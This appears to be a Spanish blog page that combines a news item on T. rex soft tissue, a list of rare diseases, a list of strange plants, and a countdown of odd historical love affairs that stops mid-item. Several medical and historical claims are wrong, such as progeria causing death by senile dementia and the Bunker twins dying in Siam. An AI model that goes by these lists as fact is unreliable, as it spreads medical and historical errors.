encontraran en el interior del fémur de un Tiranosaurio Rex, tejido blando, restos de vasos sanguíneos y células en muy buen estado, de las que se podría -eventualmente- extraer material genético. Es la primera vez que se encuentra tejido blando en buenas condiciones y en forma no fosilizada (o sea normal). En general, las partes duras de los animales, sobre todo los huesos, se conservan en forma de fósiles, y en algunas ocasiones se han encontrado fosilizados otro tipo de tejidos, pero nunca en su estado natural. "Hemos encontrado muestras en insectos que han sobrevivido dentro de ámbar, pero nunca de tanta edad", manifestó la doctora tras el descubrimiento. ¿Cómo se explica este hallazgo, entonces? Mary Higby Schweitzer, líder del equipo investigador no tiene una respuesta. "No lo sé... Nada como esto se ha encontrado antes", dice a La Nación desde EE.UU. y agrega que por ahora su tarea es demostrar químicamente que aquellas cosas -que probablemente alguna vez fueron células- aún tengan restos de tejido del dinosaurio. "Posiblemente alguna vez fueron células, pero ¿qué son en este momento? Es lo que aún estoy testeando, pues no sabemos si todavía tienen membranas de célula o proteínas de célula", explica. La investigación, publicada el jueves pasado por la revista Science, agrega que "tanto los vasos sanguíneos como sus contenidos son similares a los que se encuentran en la avestruz, así como las estructuras fibrosas que también son virtualmente idénticas a las células óseas observadas entre el colágeno de huesos desmineralizados de esa ave". Con ello la publicación hace referencia a la cada vez más documentada teoría de que los pájaros modernos son descendientes de los dinosaurios. La importancia del hallazgo radica, fundamentalmente, en que ha demostrado que la preservación morfológica en algunos especimenes de dinosaurios puede extenderse a nivel celular o más allá, lo que puede abrir la puerta a estudios filogenéticos (relaciones de parentesco entre los distintos grupos de seres vivos), fisiológicos (estudio de las funciones de los seres orgánicos) y bioquímicos del dinosaurio. El fémur, que medía 1,07 metros, se quebró en el momento en que fue retirado de su lugar lo que llevó a los investigadores a descubrir la sustancia en el interior de los huesos, la que se aprecia en esta imagen microscópica. Ahora los científicos trabajan en el aislamiento de proteínas que posiblemente se hayan conservado en el fósil. En ese caso cabría analizar la secuencia de aminoácidos de esas moléculas y compararlas con las proteínas de otros seres vivos, un proyecto que contribuiría a esclarecer las relaciones evolutivas de los dinosaurios con todas las demás especies conocidas. Pero otros piensan que -de encontrarse proteínas- también podrían hallarse muestras de ADN, que al menos en teoría permitiría experimentar para clonar un ejemplar. ¿CLONACIÓN? El problema del ADN es que es mucho más inestable que las proteínas, de manera que usualmente se rompe en numerosos fragmentos, como ha podido verse incluso en animales perfectamente congelados desde hace sólo 20 mil años. Por eso, los autores del descubrimiento son cautos y explican que, hasta que no se hagan las pruebas pertinentes, no es posible anticipar si ese material biológico de dinosaurio se ha mantenido sin alteraciones sustanciales durante decenas de millones de años. Pero científicos ajenos a la investigación, como el paleontólogo Lawrence Witmer, de la Universidad de Ohio, fueron más allá y se atrevieron a sugerir que si los tejidos no están fosilizados se podría extraer su ADN para estudiar su genética e incluso hacer experimentos de clonación. Para lo que podría servir la obtención del ADN del T-Rex, según Santos, "es para conocer su secuencia y poder buscar relaciones filogenéticos (de parentesco) con los animales actuales y de encontrarlos, obtener células de estos animales y progresivamente, con técnicas de ingeniería genética, ir adicionando ADN del dinosaurio de modo de "dinosaurizar" el ADN de ese animal. Esta alternativa teórica perturbadora podría producir una "célula dinosaurizada" con el cual intentar clonar finalmente al dinosaurio. En otras palabras, pura ciencia ficción". De hecho, en la novela de Crichton, el ADN dañado encontrado en el fósil de dinosaurio se repara con ADN de un anfibio, lo que permite la clonación. Lo que nadie discute es que el hallazgo abrió inesperadas puertas para conocer sobre estos desconocidos gigantes que desaparecieron de la faz de la Tierra hace 65 millones de años. Uno de los paleontólogos que encontró los fósiles no descarta que se encuentren muestras similares en otros restos que actualmente están en museos de todo el mundo. "No es habitual encontrar huesos de un dinosaurio, menos aún de un T-Rex, y cuando los tenemos los solemos tratar con muchísimo cuidado. Nadie va por ahí haciendo agujeros o rompiendo huesos para analizar su interior... aunque ya sabemos que hay cosas muy interesantes ahí dentro", recalca. ¿CÓMO FUE EL HALLAZGO? Hace tres años, paleontólogos que trabajaban en el yacimiento de Hell Creek, en Montana (EE.UU.) descubrieron varios huesos de un Tiranosaurio Rex "sumergidos" en mil metros cúbicos de roca de extrema dureza. "Tuvimos que sacarlo con restos de roca pegados y trasladarlo en helicóptero, pero durante esas maniobras se rompió un fémur. Fue por eso por lo que vimos que había tejidos dentro", explicó uno de los paleontólogos. WALPAPER COMENTEN!!

Las enfermedades más raras Por desgracia existen miles de enfermedades en estemundo, y por desgracia también cada año se descubrennuevos virus y nuevos síndromes psicológicos. Acontinuación os adjuntamos una lista algunas de las enfermedadesmás raras y curiosas. Por supuesto, no deseamos a nadie, y nosgustaría que si comentáis esta entrada sea desde elrespeto. Desde este blog esperamos fuertemente que pronto descubran unacura para ellas: Síndrome del acento extranjero Supónque te levantas por la mañana y empiezas a hablar con acentofrancés, chino o italiano. Suena divertido pero no tiene ningunagracia para los que lo padecen, ya que habitualmente es una secuela deuna apoplejía u otra grave lesión cerebral anterior. Lospacientes bajo este mal hablan su lengua materna, deforma involuntaria, como lo haría un extranjero, sin ni siquierahaber escuchado jamás el acento en cuestión. Se cree queesto sucede cuando las zonas dañadas del cerebro correspondencon las encargadas del lenguaje. Este efecto es inevitable para lapropia persona y, por su brusca aparición, suele traer comoconsecuencia problemas emocionales relacionados con la pérdidade identidad personal y del sentido de pertenencia a una comunidad. Progeria Unade las enfermedades más raras que existen se llama progeria y setrata de un mal que acorta la vida de una forma dramática. Paraquienes la padecen, un año equivale a siete u ocho,de manera que cuando debieran asistir a las clases del primer curso,estos enfermos sienten y piensan ya como ancianos. Mueren apenasalcanzados los 10 ó 12 años, precisamente a causa dedemencia senil. Síndrome de Möbius Elsíndrome de Möbius o de Moebius es una enfermedadneurológica congénita extremadamente rara. Dosimportantes nervios craneales, el 6º y el 7º, no estántotalmente desarrollados, lo que causa parálisis facial y falta de movimiento en los ojos.Estos nervios controlan tanto el parpadeo y el movimiento lateral delos ojos como las múltiples expresiones de la cara. Losefectos clínicos son múltiples, entre otros, dificultadesiniciales para tragar que pueden llevar a déficit de desarrolloy los problemas que conllevan la falta de sonrisa, el babeo, y el habla y la pronunciación defectuosas.Las alteraciones observadas en los ojos consisten principalmente enestrabismo y limitación del movimiento; afortunadamente, sonpoco frecuentes la ulceración de la córnea y otroscuadros relacionados con el mal desempeño de lospárpados. Los problemas dentales aparecen pronto y reflejan laincapacidad del niño para una higiene bucal apropiadadespués de las comidas y que la boca permanezca entreabierta. Ginecomastia Ginecomastia es el agrandamiento patológico de una o ambas glándulas mamarias en el hombre.Los varones sometidos a tratamiento con estrógenos puedendesarrollar acúmulos de grasa en forma de mama, lo que se conocecomo pseudoginecomastia, si bien es frecuente que llegue a desarrollarverdaderas mamas a lo que se llama ginecomastia. Es la patologíamamaria más frecuente en el sexo masculino. Los varones obesostambién suelen desarrollar una pseudoginecomastia. En ocasionespuede aparecer en personas que están tomando determinadosmedicamentos, como un efecto secundario de los mismos. La maldición de Ondine Laleyenda germánica nos cuenta sobre el terrible y aleccionadorcastigo al que una ninfa (Ondine, diosa del agua) condenó a suamante cuando descubrió que éste la engañaba. Nadamenos lo sentenció a ser responsable permanente de surespiración; es decir, que el infiel no podía olvidarse ni un minuto de que debía de respirar,por pena de morir por falta de oxígeno. La maldición deOndine (o síndrome de hipoventilación alveolar centralcongénita), significa no dormir nunca, pues al entrar alsueño se pierde la voluntad y con ello el control consciente dela función respiratoria. Este raro disturbio se presenta cuandose perturba la funcionalidad de los centros de la respiraciónsituados en el bulbo raquídeo o estructuras vecinas. Sin cerebro Segúnun informe del hospital neoyorkino de St. Vincent, en una de sus salasmurió un bebé que se había movido, habíacomido con toda normalidad y había exteriorizado emociones através del llanto. No obstante, la realizar la autopsia, losmédicos no pudieron encontrar cerebro alguno en su cráneo.El neurólogo Hufeland dio cuenta de otro caso semejante: durantela autopsia efectuada a un paralítico, que hasta su muertehabía estado cuerdo, se descubrió que en lugar de cerebrotenía un cuarto de litro de agua. Síndrome de Capgras: El mundo es un teatro Trastorno infrecuente en el que el sujeto cree que las personas cercanas han sido sustituidas por dobles o se comportan como actores.La persona considerada como impostora tiene el mismo parecidofísico, pero el enfermo cree que su mente no es la de la personaoriginal. Quienes lo padecen no sienten una relación emocionalentre la imagen que ven y la persona que recuerdan, muchas vecesaceptan vivir con los “impostores” sabiendo secretamenteque no son quienes dicen ser. En algunos casos no se reconocen a ellosmismos en el espejo y se sienten tan perturbados al ver al“Doppelgänger” en el reflejo que tienen que retirartodos los espejos de la casa. Otros casos son de pacientes que tienenla convicción de que su mascota, coche, silla, etc. han sidocambiados por una réplica exacta. Es como estar en un universoparalelo. Toma el nombre del psiquiatra francés Jean MarieJoseph Capgras. Síndrome de Alicia en el país de las maravillas También llamada micropsia, es un desorden neurológico que afecta la percepción visual. Los sujetos perciben los objetos sustancialmente mucho más pequeños de lo que son en realidad(como si los vieran desde el lado equivocado de un telescopio). Porejemplo, un animal doméstico, como un perro, puede parecer deltamaño de un ratón, o un coche como un coche de juguete.Se le debe el nombre por el personaje de ficción creado porLewis Carrol, Alicia, quien percibía las cosas demasiadopequeñas o grandes tras la ingesta de hongos mágicas.Este síndrome suele ser temporal y venir asociado conmigrañas. Carrol sufría de éstas, por lo quequizá simplemente describía su experiencia. Pánico al pene Koro(término javanés que significa “cabeza detortuga”) es uno de los numerosos nombres para un delirio agudoque se ve sobretodo en el Sureste Asiático y el sur de la China,donde el paciente se vuelve repentinamente angustiado yalarmado por el convencimiento de que su pene está encogiendohasta desaparecer dentro del abdomen, para luego causarle la muerte(como la cabeza de una tortuga que se retrae hacia dentro). Hay muchoscoreanos que se pasan la vida estirando su pene para no morir. Puedeser contagioso, como el brote de 1967 en Singapur, donde miles dehombres llegaron a pensar que sus penes habían sido robados. Sepiensa es tan sólo una reacción extrema a la naturalretracción del pene por el frío u otras causas. El síndrome de Jerusalén Enciertas ocasiones es tan fuerte el impacto que Jerusalén causaen los turistas (personas equilibradas antes de la visita) que algunos terminan por creerse personajes bíblicos.Más de doscientos casos al año hacen que se hayacatalogado a esta psicosis religiosa como “síndrome deJerusalén” (aunque comportamientos similares se hanobservado en otros lugares de importancia religiosa e históricacomo la Meca o Roma). Observada desde la época medieval, susvíctimas llegan a creer que son profetas (Sansón, laVirgen María y el rey Salomón son los preferidos) yrecorren la ciudad promulgando las Santas Escrituras o exhortando a lospecadores al arrepentimiento. Suele ser un comportamiento inofensivo y desaparece al abandonar la ciudad.La excepción más importante ocurrió en agosto de1969, cuando un turista australiano, Michael Rohan, prendiófuego a la mezquita al-Aqsa, convencido de que era “el emisariode Dios”. Erotomanía El síndrome erotomaníaco se caracteriza por la convicción delirante y persistente de ser amado.El paciente normalmente es del sexo femenino y cree recibir mensajes yseñales del objeto amoroso, que suele ser un hombre de nivelsocioeconómico más elevado, y muy a menudo casado. Losrechazos por parte del objeto son interpretados como evidencias de amorhacia la paciente (conducta paradójica). El sujeto puede llegara creer que la otra persona se está comunicando en secreto conellos mediante sutiles métodos como la postura del cuerpo, ladisposición de los objetos de la casa y otros actosaparentemente inocuos. El objeto de la ilusión tiene,generalmente, poco o ningún contacto con el erotómano,que a menudo piensa que la otra persona es la que inició larelación ficticia. En ocasiones, el objeto de la ilusiónpuede no existir en realidad, aunque por lo general suelen ser personasque aparecen en los medios de comunicación, como cantantes,actores y políticos. El intento de asesinato de Ronald Reaganpor parte de John Hinckley Jr. se consideró provocado por unailusión erotomaníaca según la cual la muerte delpresidente causaría que la actriz Jodie Foster declarasepúblicamente su amor hacia Hinckley. Es conocido tambiéncomo “Síndrome de Clérambault”,después de que este psiquiatra en 1921 describiera varios casosde esta enfermedad. Pica Es el apetitocompulsivo por sustancias no comestibles, como carbón, tierra,tiza, ceniza del cigarrillo, pegamento, hielo e incluso pelo.La pica afecta a gente de todas las edades y es particularmentecomún en mujeres embarazadas y niños, especialmenteaquéllos de zonas empobrecidas que padecen desnutrición.También afecta a personas mentalmente enfermas, en los cuales esespecialmente peligroso porque tratan incluso de ingerir objetosafilados (acufagia). El riesgo más grave de este desorden sonlas obstrucciones gastrointestinales o roturas en el estómago. Síndrome de la mano extraña Otro desorden provocado por un trauma cerebral, este extraño mal hace que la víctima pierda el control de una de sus manos, la cual cobra vida propia y puede llegar a hacer cualquier cosa,desde gesticular a desabrochar los botones que la otra mano intentaabrochar. Esta enfermedad es también llamada síndrome deDr. Strangelove, debido al personaje que Peter Sellers interpretaba en‘¿Teléfono rojo?, volamos haciaMoscú‘. Allí la mano mecánica delprotagonista alternaba entre intentos de estrangularse a si mismo y enlanzar saludos Nazi. El paciente del síndrome puede sentir tactoen la mano, pero creer que no es parte de su cuerpo y que no poseencontrol sobre sus movimientos (incluso no es consciente de lo que sumano realiza hasta que llama su atención). La únicasolución es mantenerla ocupada, por ejemplo sosteniendo algo,pero mejor que no sea el cuello. El síndrome de Stendhal: Pánico al arte Elsíndrome de Stendhal (también denominado Síndromede Florencia) es una enfermedad psicosomática que causa unelevado ritmo cardíaco, vértigo, confusión eincluso alucinaciones cuando el individuo es expuesto a obras de arte, especialmente cuando éstas son particularmente bellas o están expuestas en grandes cantidades en un mismo lugar. Síndrome Riley-Day No sentir dolor;puede parecer una bendición pero llega a ser letal para quienespadecen este mal que, entre otro síntomas, provocainsensibilidad al dolor. La enfermedad es causada por lamutación de un gen y es una condición rara en lapoblación general pero no en los judíos asquenazí(descendientes de los judíos de Europa del Este), con unaincidencia estimada de 1 caso por cada 3.700 personas. El mal hace quesus víctimas sean excepcionalmente propensas a los accidentes,porque simplemente no advierten los avisos comunes de dolor comoheridas, compresiones y quemaduras. Los niños máspequeños incluso olvidan expirar, llegando a la pérdidadel conocimiento, ya que contienen la respiración sin sentir lamolestia que los niños normales tendrían. Los pacientescon Riley-Day tienden a morir jóvenes, la mitad antes de llegara los 30, debido a sus heridas. Negligencia hemisférica Es el deterioro de los centros visuales de un lado del cerebro que provoca que el enfermo sólo vea la mitad de las cosas.Estos pacientes sólo comen el lado izquierdo de lo que tienenservido en el plato, escriben en el lado izquierdo de una hoja o seatan sólo el zapato izquierdo Síndrome de la cabeza explosiva Elsíndrome de la cabeza explosiva es una rara enfermedad que fueregistrada por primera vez por un médico británico en19881 y por la cual el paciente siente ocasionalmente unsonido extremadamente fuerte, generalmente descrito como un estallido oestruendo, como si procediera de su propia cabeza. A pesar deser percibido como un sonido tremendamente potente, muy rara vez esacompañado por dolor. Los ataques parecen incrementarse ydecrecer en frecuencia con el tiempo: varios ataques pueden ocurrir enespacio de pocos días seguidos por meses de receso. Losparecientes a menudo sienten una sensación de terror y ansiedaddespués de un ataque, acompañado por un elevado ritmocardíaco. Los ataques también son acompañados enocasiones por flashes luminosos o dificultad para respirar. Hipertricosis El llamado “síndrome del hombre lobo”es una condición muy rara en la que todo el cuerpo, excluyendolas palmas de los pies y de las manos, está cubierta por cabellolanugo largo y sedoso. La Medicina considera que se trata de un genrecesivo que al mutar lo produce. Hay diferentes tipos dehipertricosis, y en algunos casos incluso el paciente nace con unpequeño y peludo apéndice, llamado cola de fauno o colafalsa. Estos casos siempre han llamado enormemente la atencióndel público, especialmente como espectáculo circense. Elmás famoso de todos fue el ruso Fedor Jeftichew (conocido como‘Jo-Jo, el chico con cara de perro’), quien actúo encircos de todo el mundo a finales del siglo XIX. Ceguera al movimiento Es una variedad muy rara de “visión ciega”. El paciente ve bien los objetos que permanecen estáticos, pero no percibe el movimiento.Si vierte café en una taza, capta sin problemas la cafetera, elplato y la taza… pero el chorro aparece ante sus ojos como unacolumna helada e inmóvil. Es un mal inhabilitante. Síndrome de Proteus El síndrome de Proteus es una enfermedadcongénita que causa crecimiento exagerado y patológico dela piel y desarrollo atípico de los huesos. Fuedescrita por primera vez en 1979 por los doctores Michael Cohen yHayden. Recibe el nombre de Proteo, dios griego que cambiaba su formapara evitar su captura, debido a que su fenotipo es cambiante con laedad. Es una enfermedad extremadamente rara: se han descrito alrededorde 100 casos en todo el mundo. Esta enfermedad habríapermanecido olvidada, si no fuera por el hecho de que Joseph Merrick,El hombre elefante, fue caso particularmente severo de este síndrome. El síndrome de Cotard: Muerto en vida El síndrome de Jules Cotard o delirio nihilista es un raro desorden en el que la persona que lo sufre tiene la creencia de que está muerta, no existe, se está pudriendo y ha perdido los órganos internos.Algunos enfermos incluso llegan a percibir el olor de su carne enputrefacción o sienten como los gusanos los van devorando. Uncaso famoso del síndrome Cotard describe a una mujer que estabatan convencida de su muerte que insistía en vestir un sudario yse instaló en un ataúd. Pidió ser enterrada y comosus familiares se negaron, permaneció en su ataúd hastaque falleció algunas semanas después. Síndrome de Klüver-Bucy Laspersonas con lesiones en sus lóbulos temporales (lesionesbilaterales) pueden mostrar este síndrome. Pueden mostrar conductas exploratorias orales o táctiles (tocamientos o succiones socialmente inapropiadas);hipersexualidad, bulimia, trastornos de la memoria, emociones planas(apacibilidad) y astereognosia o incapacidad para reconocer objetos yprosopagnosia o incapacidad para reconocer caras. Raramente, si es quese da alguna vez, se desarrolla el síndrome al completo en sereshumanos. Síndrome de Frégoli El síndrome de Frégoli es un trastorno delirante que consiste en la creencia de que personas conocidas tienen otra identidad.Se caracteriza por que los pacientes se sienten perseguidos por unapersona a la que creen ver en todas partes, por un individuo que escapaz de adquirir la apariencia de alguien conocido, el aspecto depersonas de su entorno familiar cambiando la cara como si fuera unactor. Como todo delirio se trata de un sistema de creenciasincoercible e inmodificable, que requiere de tratamientopsiquiátrico con medicación del grupo de losneurolépticos. Existen pocos estudios epidemiológicos,pero en la literatura médica no hay dudas acerca de su tendenciaa la cronicidad y su mal pronóstico. Es un síntoma defalsa identificación que se ha descrito en el 23 - 50% de lospacientes con demencia. Fue denominado así en recuerdo deLeopoldo Fregoli, actor italiano de principios del siglo XX quepodía interpretar simultáneamente varios papeles en elteatro.

A menudo en este blog hablamos sobre los horrores causados por el propio hombre en entradas tales como las o la entrada relacionada con , o en ocasiones hablamos sobre grandes milagros de la naturaleza como por ejemplo con nuestra entrada de o la de . Enesta ocasión queremos hablar de las dos cosas al mismo tiempo,de la naturaleza y de horrores, pasándoos a presentar lasplantas más terroríficas creadas por la naturaleza: Hongo diente sangrante El Hydnellum peckii u hongo diente sangrantees un hongo no comestible. Se trata de una especie que produce esporasen la superficie de sus espinas verticales o proyecciones como dientesque cuelgan de la superficie inferior de su esporocarpo. Seencuentra en América del Norte, Europa, y fue descubiertorecientemente en Irán (2008) y Corea (2010). El Hydnellum Peckiies una una especie micorriza, que forma relaciones mutuamente beneficiosascon una variedad de coníferas, árboles, creciendodispersos sobre el terreno por separado, o agrupados entre sí. Flor-murciélago negra de China La flor-murciélago negra, llamada técnicamente Tacca chantrieri, es una especie de planta con flor de la familia de los tubérculos comestibles Dioscoreaceae. Se trata de una de las inusuales especies capaces de producir flores negras. Estas flores de alguna manera poseen una forma y tamaño similar a la de un murciélago. Crecenen el bosque tropical de la provincia de Yunnan en China y el arbustopuede llegar a medir aproximadamente un metro. Crecen mejor en zonascon alto grado de humedad. Ojo de muñeca Esuna planta herbácea perenne que alcanza los 50 cm de altura. Sushojas son compuestas bipinnadas y dentadas de 40 cm de longitud y 30 cmde ancho. Las flores de color blanco se producen en densos racimos deunos 10 cm de longitud. Su fruto es una drupa de 1 cm dediámetro de color blanco parecida al globo ocular por lo que se le da el nombre de "ojo de muñeca". Los frutos son altamente venenosos y toda la planta es considerada tóxica paralos seres humanos. El pueblo First Nations daba esta bebida en forma deté hecho con las raíces de esta planta a los niñosal nacer. Es usada tradicionalmente por los indígenas para combatir la picadura de la serpiente de cascabel. Garras del diablo Técnicamente conocida como Acacia greggii,las garras del diablo se trata de una especie nativa del suroeste delos Estados Unidos y el norte de Méjico, La mayor parte deéstas se encuentran en Nuevo Méjico, el oeste de Texas ala Baja California, Sinaloa y Nuevo León en Méjico. Adicha planta se le atribuyen los siguientes nombre Acacia Garra deGato, Garra de Gato de Gregg, Garras del Diablo, Flor delparaíso, Árbol-espera-un-minuto y finalmenteÁrbol-espera-un-poco. Estos nombres provienen en sumayoría del hecho de que el árbol tiene muchas espinascon forma de garras que tienden a engancharse en todos lostranseúntes que pasan alrededor del árbol haciendo queéste, tenga que esperar un minuto o un rato para poderquitársela cuidadosamente para evitar lesiones o destrozarse laropa. Asu vez el nombre de “Garras de Gato de Gregg” se debe a lapersona que las catalogó, Josiah Gregg, un explorador ynaturalista amateur del sudoeste de America. Tomate Puercoespín La Pyracanthon Solanum, también conocido como el tomate Puercoespín,es un arbusto de hoja perenne nativa de regiones tropicales deMadagascar y las islas del Océano Índico occidental delgénero Solanum, La planta contiene varios alcaloidestropano tóxicos en sus hojas, tallos y frutos y por lo tantodebe ser considerado peligroso para los seres humanos. Pyracanthon S. es quizás el más distinguido por una profusión de espinas fuertes y rectas de color naranja fluorescente que ocupan los tallos y las hojas de la planta. Lasespinas son consistentes en toda la planta, desarrollando claramente detricomas y formando un peludo abrigo de puás. Diversas fuentesdan la altura normal del arbusto que de 1 a 5 metros, aunque los productores de ornamentales han reportado un mayor crecimiento. Laplanta no es resistente al frío y mueren si es expuesta atemperaturas bajo cero durante más de una semana, aunque lasplantas que mueren durante el invierno puede volver a crecer a loslargos períodos de tiempo cálido. Las hojas son lobuladaspinnadas 6 a 21 cm de largo y la planta florece durante todo elaño, con racimos de pequeñas inflorescencias en forma deestrella violeta seguida de fruta de color amarillo verdoso. Gymnosporangium Gymnosporangium es un género de hongos patógenos que alternativamente infectan a los miembros de la familia Cupressaceae, principalmente las especies del género Juniperus,y los miembros de la familia de las rosáceas en la subfamiliaMaloideae (manzanas, peras, membrillos, espinos, serbales y susfamiliares). En los enebros (anfitriones primarios), el hongo forma una bola de unos 2-4 cm de diámetro, que produce un conjunto de tentáculos de color naranja de tubos de esporasllamados filamentos teliospora. Estos cuernos se amplian y tienen unaconsistencia gelatinosa cuando se mojan. Las esporas se liberan y sonllevadas por el viento hasta que infectan a una manzana, pera, o un árbol de espino. Enlos anfitriones secundarios, el hongo produce depresiones amarillentasen las hojas. También infecta a la fruta, donde crecen unos tubos blanquecinos como una cabeza de Medusa. Estos son los tubos de esporas. Las esporas entonces deben infectar a un enebro para completar el ciclo de vida. El hongo no causa daños gravesa los enebros, pero los manzanos y perales pueden sufrir gravespérdidas en la producción de fruta debido a los efectosdel hongo. Debido a los impactos económicos de las royas enalgunas áreas de huertas que son de importancia comercial,algunas regiones han tratado de prohibir la siembra y / o erradicar los anfitriones de coníferas. Mano de buda Mano de Buda es una variedad de cítrico cuyos frutos están fragmentados en secciones parecidas a dedos. Elcítrico crece en arbustos o pequeños árboles conramas largas e irregulares cubiertas de espinas. Sus hojas largas yoblongas son de un color verde pálido y llegan a mediar de 10 a15 centímetros. Sus flores blancas están teñidasde púrpura por fuera y crecen en fragantes grupos. La fruta tiene una piel gruesa y sólo una pequeña cantidad de pulpa ácida(en caso de tener alguna) y no tiene jugo ni, a veces, semillas. Es muyfragante y es usada principalmente por Chinos y Japoneses para perfumar habitaciones y objetos personales como la ropa. La piel de la fruta se puede caramelizar. También se usa en cocina su cáscara y su médula (que no es tan amarga como en otros cítricos). La fruta se puede usar como ofrenda religiosa en templos budistas. Según la tradición, Buda prefiere que los dedos de la fruta estén en una posición que parezca más una mano cerrada que abierta ya que las manos cerradas simbolizan según Buda el acto de la oración. Debido a la curiosa forma de esta fruta también es conocida entre los fans de H. P. Lovecraft como la "fruta de Cthulhu" por su similitud con los tentáculos de dicha entidad cósmica ficticia. Fo-tiElFo-ti es una planta enredadera que desarrolla unas raíces queocasionalmente y de forma muy muy esporádica desarrolla de formanatural una silueta humanoide. Llamado el"Elixir de la Vida," al tónico hecho con Fo-ti se dice queproduce la longevidad, la fertilidad y la vitalidad. Tomando Fo-ti sedice que te mantienes con forma vigorosa y se extiende la duración de la vida. Se dice que dichas plantas solo crecen bien en la sombra. Se trata de una hierba muy famoso en el Oriente, utilizado por millones de personas regularmente para ayudar a desarrollar el Qi. En China es popularmente conocida como la "hierba de la longevidad". Se ha adquirido una amplia reputación como un aditivo para los jóvenes, rejuvenecedor y tónico sexual. Elnombre chino común para fo-ti, el shou-wu, era el nombre de unhombre de la dinastía Tang cuya infertilidad fue curadasupuestamente por Fo-ti y, además, alargó su vida, fueatribuido a las propiedades tónicas de esta hierba. Desdeentonces, la medicina tradicional china ha utilizado fo-ti para tratarel envejecimiento prematuro, debilidad, secreciones vaginales,numerosas enfermedades infecciosas, la angina de pecho, y la impotencia. Lafotografía anterior se trata de raíces de Fo-ti puestasrecientemente a la venta en línea, dónde encontramos losiguiente: “Perfectamenteformado: El hombre desnudo y una mujer que se encuentran en laraíz del Fo-ti Al parecer, como lo fue cuando la planta fuesacado de la tierra, de acuerdo con el hombre que lo vio en un puestode verduras en un pueblo en la provincia oriental china deShandong.”

Las relaciones amorosas más extrañas de la historia A lo largo de la historia algunas de lasrelaciones sentimentales han sido más normales que otras, ya queaunque algunas de las que aquí pongamos puedan parecer lomás normal en el día de hoy, hay que tener en cuenta elcontexto histórico en el que se comenzaron, en el cual causarongran controversia: 10. Al y Jeanie Tomaini Seconocieron en 1930 durante un espectáculo de feria. Al semedicaba para retardar su crecimiento, ya que era un gigante(medía cerca de 2.55 metros) ya que la secreción hormonalde su hipófisis le impedía un crecimiento normal, loúnico que hacía en los espectáculos era lucir suimpresionante altura. Por otro lado, Jeanie nació sin piernas, teniendo a los onceaños ya tenía un espectáculo propio, el cualconsistía en subir con sus manos por una escalera haciendo elpino y otras acrobacias gimnásticas espectaculares. En 1939 decidieron casarse de forma íntima, a pesar de lascantidades millonarias que les ofrecían varios patrocinadorespor casarse en público, y es que el morbo es el morbo. 9. Arthur Rimbaud y Paul Verlaine Iniciaronen 1871 una tormentosa relación sentimental. Verlaine yahabía tenido experiencias homosexuales antes, sin embargo, no sesabe si ésta era la primera de Rimbaud. Durante el tiempo queestuvieron juntos, llevaron una salvaje vida disoluta de vagabundos,embriagados de ajenjo y hachís. Así escandalizaron a laelite literaria parisina, indignada en particular por el comportamientode Rimbaud, auténtico arquetipo del enfant terrible. En julio de1873, después de una pelea en extremo violenta, Verlaine ledisparó en la muñeca a Rimbaud. Temiendo por su vida,Rimbaud llamó a la policía. Verlaine fue arrestado ysometido a un humillante examen médico legal, luego de que seconsiderara la comprometedora correspondencia y las acusaciones de laesposa de Verlaine respecto de la naturaleza de la amistad entre losdos hombres. El juez fue inmisericorde y, a pesar de que Rimbaudretiró la denuncia, Verlaine fue condenado a dos años deprisión. 8. Los Bunkers y las Yates Changy Eng Bunker eran dos siameses que nacieron el 11 de mayo de 1811 ymurieron el 17 de enero de 1874 en Siam (de aquí proviene eltermino siameses), concretamente en la provincia de Samutsongkram.Llegaron en barco a los Estados Unidos. Estaban unidos por elesternón y por un cartílago, y sus hígados estabanfusionados, pero, a pesar de ello, eran totalmente independientes entresí. A la edad de 25 años los gemelos conocieron a dos hermanas, loque hizo que ambos pelearan duramente por conseguir a Sarah Yates, lamás alta de las hermanas. Eng, posiblemente por su personalidaddominante, consiguió conquistar finalmente a Sarah, y Chang tuvoque conformarse con su hermana pequeña Adelaide. La lógica nos haría pensar que su vida no podríaser una vida al uso, aunque sorprendentemente fue mucho másnormal de lo que creemos. Los hermanos vivieron conjuntamente con susesposas en un rancho con unas plantaciones en las que tuvieroncontratados varios esclavos. Cada uno de los hermanos tenía sucasa en un lado del rancho, por lo que tuvieron que llegar al estrictoacuerdo de vivir por periodos de tres días en cada una de lascasas. Pero lo más sorprendente de todo es que a lo largo de suvida llegaron a tener un total de 22 hijos. En 1870, Chang tuvo un derrame cerebral, lo cual le dañógravemente la movilidad, por lo que la de su hermano también. Apartir de aquí comenzó la decadencia física de losgemelos, muriendo Chang cuatro años después de ello, yaunque en ese momento a Eng se le ofreció la separaciónpara poder salvarle el se negó, ya que su "vida no teníasentido sin su hermano, con el que todo lo había compartido". 7. Nerón y Esporo Esporofue un joven homosexual de gran belleza. Llamó poderosamente laatención del emperador Nerón, porque poseía elfísico muy similar al de Popea Sabina, mujer del emperador, lacual murió por una patada en el vientre dada por él,cegado por el alcohol. Tras estar meses arrepentido, encontró aEsporo, a quién por su gran parecido con Sabina, hizo casarsecon él y lo castró, para convertirlo totalmente en unamujer. También lo hacía ponerse sus ropas para pasearse ybesarse con él a lo largo y ancho de toda la ciudad. 6. Juan Baptista Dos Santos y Blanche Dumas DeJuan Baptista Dos Santos tenía dos penes completamenteoperativos. Blanche Dumas por su parte nació en la isla deMartinica en el año de 1860, ella también tenia un gemeloparasitico, por lo que tenía una tercera pierna, la cual estabaadherida a su espina dorsal y sus otras dos piernas estaban maldesarrolladas, en la juntura entre sus piernas se encontraban dos senosrudimentarios (por lo que tenía cuatro pechos) y tambiénestaba provista de genitales dobles, dos vaginas y dos vulvas. Dado sugran libido decidió mudarse a Francia para convertirse enprostituta. Estando en Francia escuchó hablar acerca de Dos Santos y expresosu deseo de tener sexo con el, ya que le daba especial morbo el hechode juntar dos vaginas con dos penes, lo cual seguramente tuvo que serla relación sexual más increíble de la historia,ya que estamos hablando del hombre de dos penes con la mujer de las dosvaginas. 5. Soni y Perro Soninació en el rural estado indio de Jharkhand. A los doceaños le empezaron a salir dientes adicionales, lo cual en Indiasignifica mal augurio tanto para ella como para la familia. Parasolucionarlo y alejar los malos espíritus, en esa zona hacen quela persona en cuestión se case con un perro o con lo que sea, yaque hace varios años la que fuese Miss Mundo, Aishwarya Rai,tuvo que casarse simbólicamente con la imagen del dioshindú Vishnú. 4. Incitatus y Calígula Estano fue una relación sentimental, pero amor había (ymucho) entre el emperador romano Calígula y su caballo Incitatus. Calígula también podría aparecer en esta lista, yaque se casó con una de sus hermanas, pero estoy seguro que aquién más quería de todo el mundo era a estecaballo. Era tal la devoción que sentía Calígula por suequino que mandó construir para él una caballeriza demármol, un pesebre de marfil y más tarde una casa-palaciocon jardines y 18 